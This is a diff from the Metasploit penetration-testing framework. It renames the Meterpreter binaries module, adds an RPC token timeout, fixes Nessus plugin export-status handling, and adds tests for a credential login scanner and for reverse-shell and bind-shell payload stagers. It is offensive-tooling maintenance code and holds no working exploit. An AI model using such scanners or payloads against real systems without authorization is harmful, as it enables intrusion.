|
||||
MeterpreterBinaries.path('metsrv','x64.dll')
|
||||
MetasploitPayloads.meterpreter_path('metsrv','x64.dll')
|
||||
end
|
||||
|
||||
end
|
||||
|
|
2
msfcli
2
msfcli
|
@ -19,8 +19,6 @@ while File.symlink?(msfbase)
|
|||
end
|
||||
|
||||
$:.unshift(File.expand_path(File.join(File.dirname(msfbase), 'lib')))
|
||||
require 'rex'
|
||||
|
||||
|
||||
class Msfcli
|
||||
#
|
||||
|
|
10
msfrpcd
10
msfrpcd
|
@ -30,9 +30,10 @@ arguments = Rex::Parser::Arguments.new(
|
|||
"-U" => [ true, "Specify the username to access msfrpcd" ],
|
||||
"-P" => [ true, "Specify the password to access msfrpcd" ],
|
||||
"-u" => [ true, "URI for Web server" ],
|
||||
"-S" => [ false, "Disable SSL on the RPC socket" ],
|
||||
"-t" => [ true, "Token Timeout (default 300 seconds" ],
|
||||
"-S" => [ false, "Disable SSL on the RPC socket" ],
|
||||
"-f" => [ false, "Run the daemon in the foreground" ],
|
||||
"-n" => [ false, "Disable database" ],
|
||||
"-n" => [ false, "Disable database" ],
|
||||
"-h" => [ false, "Help banner" ])
|
||||
|
||||
opts = {
|
||||
|
@ -40,7 +41,8 @@ opts = {
|
|||
'SSL' => true,
|
||||
'ServerHost' => '0.0.0.0',
|
||||
'ServerPort' => 55553,
|
||||
'ServerType' => 'Msg'
|
||||
'ServerType' => 'Msg',
|
||||
'TokenTimeout' => 300,
|
||||
}
|
||||
|
||||
foreground = false
|
||||
|
@ -60,6 +62,8 @@ arguments.parse(ARGV) { |opt, idx, val|
|
|||
opts['User'] = val
|
||||
when '-P'
|
||||
opts['Pass'] = val
|
||||
when "-t"
|
||||
opts['TokenTimeout'] = val.to_i
|
||||
when "-f"
|
||||
foreground = true
|
||||
when "-u"
|
||||
|
|
|
@ -45,6 +45,7 @@ class Plugin::MSGRPC < Msf::Plugin
|
|||
user = opts['User'] || "msf"
|
||||
pass = opts['Pass'] || ::Rex::Text.rand_text_alphanumeric(8)
|
||||
uri = opts['URI'] || "/api"
|
||||
timeout = opts['TokenTimeout'] || 300
|
||||
|
||||
print_status("MSGRPC Service: #{host}:#{port} #{ssl ? " (SSL)" : ""}")
|
||||
print_status("MSGRPC Username: #{user}")
|
||||
|
@ -56,7 +57,8 @@ class Plugin::MSGRPC < Msf::Plugin
|
|||
:ssl => ssl,
|
||||
:cert => cert,
|
||||
:uri => uri,
|
||||
:tokens => { }
|
||||
:tokens => { },
|
||||
:token_timeout => timeout
|
||||
})
|
||||
|
||||
self.server.add_user(user, pass)
|
||||
|
|
|
@ -10,6 +10,10 @@ module Msf
|
|||
"Nessus"
|
||||
end
|
||||
|
||||
def desc
|
||||
"Nessus Bridge for Metasploit"
|
||||
end
|
||||
|
||||
def desc
|
||||
"Nessus Bridge for Metasploit"
|
||||
end
|
||||
|
@ -451,7 +455,7 @@ module Msf
|
|||
print_status("Returns a list of information about the scan or policy templates..")
|
||||
return
|
||||
end
|
||||
if type.in?(['scan', 'policy'])
|
||||
if type.downcase.in?(['scan', 'policy'])
|
||||
list=@n.list_template(type)
|
||||
else
|
||||
print_error("Only scan and policy are valid templates")
|
||||
|
@ -1184,7 +1188,7 @@ module Msf
|
|||
when 2
|
||||
scan_id = args[0]
|
||||
category = args[1]
|
||||
if category.in?(['info', 'hosts', 'vulnerabilities', 'history'])
|
||||
if category.downcase.in?(['info', 'hosts', 'vulnerabilities', 'history'])
|
||||
category = args[1]
|
||||
else
|
||||
print_error("Invalid category. The available categories are info, hosts, vulnerabilities, and history")
|
||||
|
@ -1261,7 +1265,7 @@ module Msf
|
|||
case args.length
|
||||
when 2
|
||||
scan_id = args[0]
|
||||
format = args[1].downcase
|
||||
format = args[1]
|
||||
else
|
||||
print_status("Usage: ")
|
||||
print_status("nessus_scan_export <scan ID> <export format>")
|
||||
|
@ -1269,15 +1273,19 @@ module Msf
|
|||
print_status("Use nessus_scan_list to list all available scans with their corresponding scan IDs")
|
||||
return
|
||||
end
|
||||
if format.in?(['nessus','html','pdf','csv','db'])
|
||||
if format.downcase.in?(['nessus','html','pdf','csv','db'])
|
||||
export = @n.scan_export(scan_id, format)
|
||||
if export["file"]
|
||||
file_id = export["file"]
|
||||
print_good("The export file ID for scan ID #{scan_id} is #{file_id}")
|
||||
print_status("Checking export status...")
|
||||
status = @n.scan_export_status(scan_id, file_id)
|
||||
if status == "ready"
|
||||
print_good("The status of scan ID #{scan_id} export is ready")
|
||||
code, body = @n.scan_export_status(scan_id, file_id)
|
||||
if code == "200"
|
||||
if body =~ /ready/
|
||||
print_good("The status of scan ID #{scan_id} export is ready")
|
||||
else
|
||||
print_status("Scan result not ready for download. Please check again after a few seconds")
|
||||
end
|
||||
else
|
||||
print_error("There was some problem in exporting the scan. The error message is #{status}")
|
||||
end
|
||||
|
@ -1302,12 +1310,7 @@ module Msf
|
|||
when 2
|
||||
scan_id = args[0]
|
||||
file_id = args[1]
|
||||
status = @n.scan_export_status(scan_id, file_id)
|
||||
if status == "ready"
|
||||
print_status("The status of scan ID #{scan_id} export is ready")
|
||||
else
|
||||
print_error("There was some problem in exporting the scan. The error message is #{status}")
|
||||
end
|
||||
check_export_status(scan_id, file_id)
|
||||
else
|
||||
print_status("Usage: ")
|
||||
print_status("nessus_scan_export_status <scan ID> <file ID>")
|
||||
|
@ -1315,6 +1318,25 @@ module Msf
|
|||
end
|
||||
end
|
||||
|
||||
def check_export_status(scan_id, file_id, attempt = 0)
|
||||
code, body = @n.scan_export_status(scan_id, file_id)
|
||||
if code == "200"
|
||||
if body.to_s =~ /ready/
|
||||
print_status("The status of scan ID #{scan_id} export is ready")
|
||||
else
|
||||
if attempt < 3
|
||||
print_status("Scan result not ready for download. Checking again...")
|
||||
select(nil, nil, nil, 1)
|
||||
attempt = attempt + 1
|
||||
print_error("Current value of attempt is #{attempt}")
|
||||
check_export_status(scan_id, file_id, attempt)
|
||||
end
|
||||
end
|
||||
else
|
||||
print_error("There was some problem in exporting the scan. The error message is #{body}")
|
||||
end
|
||||
end
|
||||
|
||||
def cmd_nessus_plugin_list(*args)
|
||||
if args[0] == "-h"
|
||||
print_status("nessus_plugin_list <Family ID>")
|
||||
|
|
|
@ -92,7 +92,7 @@ if client.platform =~ /win32|win64/
|
|||
to ||= from
|
||||
print_status(" >> Uploading #{from}...")
|
||||
fd = client.fs.file.new(tempdir + "\\" + to, "wb")
|
||||
path = (from == 'metsrv.x86.dll') ? MeterpreterBinaries.path('metsrv','x86.dll') : File.join(based, from)
|
||||
path = (from == 'metsrv.x86.dll') ? MetasploitPayloads.meterpreter_path('metsrv','x86.dll') : File.join(based, from)
|
||||
fd.write(::File.read(path, ::File.size(path)))
|
||||
fd.close
|
||||
end
|
||||
|
|
|
@ -0,0 +1,156 @@
|
|||
require 'spec_helper'
|
||||
require 'metasploit/framework/login_scanner/manageengine_desktop_central'
|
||||
|
||||
describe Metasploit::Framework::LoginScanner::ManageEngineDesktopCentral do
|
||||
|
||||
it_behaves_like 'Metasploit::Framework::LoginScanner::Base', has_realm_key: true, has_default_realm: false
|
||||
it_behaves_like 'Metasploit::Framework::LoginScanner::RexSocket'
|
||||
|
||||
let(:session_id) do
|
||||
'DCJSESSIONID=5628CFEA339C2688D74267B03CDA88BD; '
|
||||
end
|
||||
|
||||
let(:username) do
|
||||
'username'
|
||||
end
|
||||
|
||||
let(:good_password) do
|
||||
'good_password'
|
||||
end
|
||||
|
||||
let(:bad_password) do
|
||||
'bad_password'
|
||||
end
|
||||
|
||||
let(:successful_auth_response) do
|
||||
Rex::Proto::Http::Response.new(302, 'Moved Temporarily')
|
||||
end
|
||||
|
||||
let(:fail_auth_response) do
|
||||
Rex::Proto::Http::Response.new(200, 'OK')
|
||||
end
|
||||
|
||||
subject do
|
||||
described_class.new
|
||||
end
|
||||
|
||||
let(:response) do
|
||||
Rex::Proto::Http::Response.new(200, 'OK')
|
||||
end
|
||||
|
||||
before(:each) do
|
||||
allow_any_instance_of(Rex::Proto::Http::Client).to receive(:request_cgi).with(any_args)
|
||||
allow_any_instance_of(Rex::Proto::Http::Client).to receive(:send_recv).with(any_args).and_return(response)
|
||||
allow_any_instance_of(Rex::Proto::Http::Client).to receive(:set_config).with(any_args)
|
||||
allow_any_instance_of(Rex::Proto::Http::Client).to receive(:close)
|
||||
allow_any_instance_of(Rex::Proto::Http::Client).to receive(:connect)
|
||||
end
|
||||
|
||||
describe '#check_setup' do
|
||||
context 'when target is ManageEngine Desktop Central' do
|
||||
let(:response) do
|
||||
res = Rex::Proto::Http::Response.new(200, 'OK')
|
||||
res.body = 'ManageEngine Desktop Central'
|
||||
res
|
||||
end
|
||||
it 'returns true' do
|
||||
expect(subject.check_setup).to be_truthy
|
||||
end
|
||||
end
|
||||
|
||||
context 'when target is not ManageEngine Desktop Central' do
|
||||
it 'returns false' do
|
||||
expect(subject.check_setup).to be_falsey
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
describe '#get_sid' do
|
||||
context 'when there is no session ID' do
|
||||
let(:response) do
|
||||
res = Rex::Proto::Http::Response.new(200, 'OK')
|
||||
res.headers['Set-Cookie'] = session_id
|
||||
|
||||
res
|
||||
end
|
||||
|
||||
it 'returns a new session ID' do
|
||||
expect(subject.get_sid(response)).to include('DCJSESSIONID')
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
describe '#get_hidden_inputs' do
|
||||
let(:response) do
|
||||
html = %Q|
|
||||
<input type="hidden" name="buildNum" id="buildNum" value="90109"/>
|
||||
<input type="hidden" name="clearCacheBuildNum" id="clearCacheBuildNum" value="-1"/>
|
||||
|
|
||||
res = Rex::Proto::Http::Response.new(200, 'OK')
|
||||
res.body = html
|
||||
res
|
||||
end
|
||||
|
||||
context 'when there are hidden login inputs' do
|
||||
it 'returns a Hash' do
|
||||
expect(subject.get_hidden_inputs(response)).to be_kind_of(Hash)
|
||||
end
|
||||
|
||||
it 'returns the value for buildNum' do
|
||||
expect(subject.get_hidden_inputs(response)['buildNum']).to eq('90109')
|
||||
end
|
||||
|
||||
it 'returns the value for clearCacheBuildNum' do
|
||||
expect(subject.get_hidden_inputs(response)['clearCacheBuildNum']).to eq('-1')
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
describe '#get_login_state' do
|
||||
context 'when the credential is valid' do
|
||||
let(:response) { successful_auth_response }
|
||||
it 'returns a hash indicating a successful login' do
|
||||
expect(subject.get_login_state(username, good_password)[:status]).to eq(Metasploit::Model::Login::Status::SUCCESSFUL)
|
||||
end
|
||||
end
|
||||
|
||||
context 'when the creential is invalid' do
|
||||
let(:response) { fail_auth_response }
|
||||
it 'returns a hash indicating an incorrect cred' do
|
||||
expect(subject.get_login_state(username, good_password)[:status]).to eq(Metasploit::Model::Login::Status::INCORRECT)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
describe '#attempt_login' do
|
||||
context 'when the credential is valid' do
|
||||
let(:response) { successful_auth_response }
|
||||
let(:cred_obj) { Metasploit::Framework::Credential.new(public: username, private: good_password) }
|
||||
|
||||
it 'returns a Result object indicating a successful login' do
|
||||
result = subject.attempt_login(cred_obj)
|
||||
expect(result).to be_kind_of(::Metasploit::Framework::LoginScanner::Result)
|
||||
end
|
||||
|
||||
it 'returns successful login' do
|
||||
result = subject.attempt_login(cred_obj)
|
||||
expect(result.status).to eq(Metasploit::Model::Login::Status::SUCCESSFUL)
|
||||
end
|
||||
end
|
||||
|
||||
context 'when the credential is invalid' do
|
||||
let(:response) { fail_auth_response }
|
||||
let(:cred_obj) { Metasploit::Framework::Credential.new(public: username, private: bad_password) }
|
||||
|
||||
it 'returns a Result object' do
|
||||
result = subject.attempt_login(cred_obj)
|
||||
expect(result).to be_kind_of(::Metasploit::Framework::LoginScanner::Result)
|
||||
end
|
||||
|
||||
it 'returns incorrect credential status' do
|
||||
result = subject.attempt_login(cred_obj)
|
||||
expect(result.status).to eq(Metasploit::Model::Login::Status::INCORRECT)
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -1,8 +1,8 @@
|
|||
require 'spec_helper'
|
||||
require 'rex/post/meterpreter'
|
||||
|
||||
describe MeterpreterBinaries do
|
||||
describe MetasploitPayloads do
|
||||
it 'is available' do
|
||||
expect(described_class).to eq(MeterpreterBinaries)
|
||||
expect(described_class).to eq(MetasploitPayloads)
|
||||
end
|
||||
end
|
||||
|
|
|
@ -1348,7 +1348,7 @@ describe 'modules/payloads', :content do
|
|||
'stagers/linux/x86/bind_tcp',
|
||||
'stages/linux/x86/meterpreter'
|
||||
],
|
||||
dynamic_size: false,
|
||||
dynamic_size: true,
|
||||
modules_pathname: modules_pathname,
|
||||
reference_name: 'linux/x86/meterpreter/bind_tcp'
|
||||
end
|
||||
|
@ -1455,7 +1455,7 @@ describe 'modules/payloads', :content do
|
|||
'stagers/linux/x86/bind_tcp',
|
||||
'stages/linux/x86/shell'
|
||||
],
|
||||
dynamic_size: false,
|
||||
dynamic_size: true,
|
||||
modules_pathname: modules_pathname,
|
||||
reference_name: 'linux/x86/shell/bind_tcp'
|
||||
end
|
||||
|
@ -2285,7 +2285,7 @@ describe 'modules/payloads', :content do
|
|||
'stagers/windows/bind_tcp',
|
||||
'stages/windows/dllinject'
|
||||
],
|
||||
dynamic_size: false,
|
||||
dynamic_size: true,
|
||||
modules_pathname: modules_pathname,
|
||||
reference_name: 'windows/dllinject/bind_tcp'
|
||||
end
|
||||
|
@ -2571,7 +2571,7 @@ describe 'modules/payloads', :content do
|
|||
'stagers/windows/bind_tcp',
|
||||
'stages/windows/meterpreter'
|
||||
],
|
||||
dynamic_size: false,
|
||||
dynamic_size: true,
|
||||
modules_pathname: modules_pathname,
|
||||
reference_name: 'windows/meterpreter/bind_tcp'
|
||||
end
|
||||
|
@ -2789,7 +2789,7 @@ describe 'modules/payloads', :content do
|
|||
'stagers/windows/bind_tcp',
|
||||
'stages/windows/patchupdllinject'
|
||||
],
|
||||
dynamic_size: false,
|
||||
dynamic_size: true,
|
||||
modules_pathname: modules_pathname,
|
||||
reference_name: 'windows/patchupdllinject/bind_tcp'
|
||||
end
|
||||
|
@ -2932,7 +2932,7 @@ describe 'modules/payloads', :content do
|
|||
'stagers/windows/bind_tcp',
|
||||
'stages/windows/patchupmeterpreter'
|
||||
],
|
||||
dynamic_size: false,
|
||||
dynamic_size: true,
|
||||
modules_pathname: modules_pathname,
|
||||
reference_name: 'windows/patchupmeterpreter/bind_tcp'
|
||||
end
|
||||
|
@ -3075,7 +3075,7 @@ describe 'modules/payloads', :content do
|
|||
'stagers/windows/bind_tcp',
|
||||
'stages/windows/shell'
|
||||
],
|
||||
dynamic_size: false,
|
||||
dynamic_size: true,
|
||||
modules_pathname: modules_pathname,
|
||||
reference_name: 'windows/shell/bind_tcp'
|
||||
end
|
||||
|
@ -3268,7 +3268,7 @@ describe 'modules/payloads', :content do
|
|||
'stagers/windows/bind_tcp',
|
||||
'stages/windows/upexec'
|
||||
],
|
||||
dynamic_size: false,
|
||||
dynamic_size: true,
|
||||
modules_pathname: modules_pathname,
|
||||
reference_name: 'windows/upexec/bind_tcp'
|
||||
end
|
||||
|
@ -3411,7 +3411,7 @@ describe 'modules/payloads', :content do
|
|||
'stagers/windows/bind_tcp',
|
||||
'stages/windows/vncinject'
|
||||
],
|
||||
dynamic_size: false,
|
||||
dynamic_size: true,
|
||||
modules_pathname: modules_pathname,
|
||||
reference_name: 'windows/vncinject/bind_tcp'
|
||||
end
|
||||
|
@ -3552,7 +3552,7 @@ describe 'modules/payloads', :content do
|
|||
'stagers/windows/x64/bind_tcp',
|
||||
'stages/windows/x64/meterpreter'
|
||||
],
|
||||
dynamic_size: false,
|
||||
dynamic_size: true,
|
||||
modules_pathname: modules_pathname,
|
||||
reference_name: 'windows/x64/meterpreter/bind_tcp'
|
||||
end
|
||||
|
@ -3574,7 +3574,7 @@ describe 'modules/payloads', :content do
|
|||
'stagers/windows/x64/reverse_tcp',
|
||||
'stages/windows/x64/meterpreter'
|
||||
],
|
||||
dynamic_size: false,
|
||||
dynamic_size: true,
|
||||
modules_pathname: modules_pathname,
|
||||
reference_name: 'windows/x64/meterpreter/reverse_tcp'
|
||||
end
|
||||
|
@ -3635,7 +3635,7 @@ describe 'modules/payloads', :content do
|
|||
'stagers/windows/x64/bind_tcp',
|
||||
'stages/windows/x64/shell'
|
||||
],
|
||||
dynamic_size: false,
|
||||
dynamic_size: true,
|
||||
modules_pathname: modules_pathname,
|
||||
reference_name: 'windows/x64/shell/bind_tcp'
|
||||
end
|
||||
|
@ -3646,7 +3646,7 @@ describe 'modules/payloads', :content do
|
|||
'stagers/windows/x64/reverse_tcp',
|
||||
'stages/windows/x64/shell'
|
||||
],
|
||||
dynamic_size: false,
|
||||
dynamic_size: true,
|
||||
modules_pathname: modules_pathname,
|
||||
reference_name: 'windows/x64/shell/reverse_tcp'
|
||||
end
|
||||
|
@ -3677,7 +3677,7 @@ describe 'modules/payloads', :content do
|
|||
'stagers/windows/x64/bind_tcp',
|
||||
'stages/windows/x64/vncinject'
|
||||
],
|
||||
dynamic_size: false,
|
||||
dynamic_size: true,
|
||||
modules_pathname: modules_pathname,
|
||||
reference_name: 'windows/x64/vncinject/bind_tcp'
|
||||
end
|
||||
|
@ -3688,7 +3688,7 @@ describe 'modules/payloads', :content do
|
|||
'stagers/windows/x64/reverse_tcp',
|
||||
'stages/windows/x64/vncinject'
|
||||
],
|
||||
dynamic_size: false,
|
||||
dynamic_size: true,
|
||||
modules_pathname: modules_pathname,
|
||||
reference_name: 'windows/x64/vncinject/reverse_tcp'
|
||||
end
|
||||
|
|
Loading…
Reference in New Issue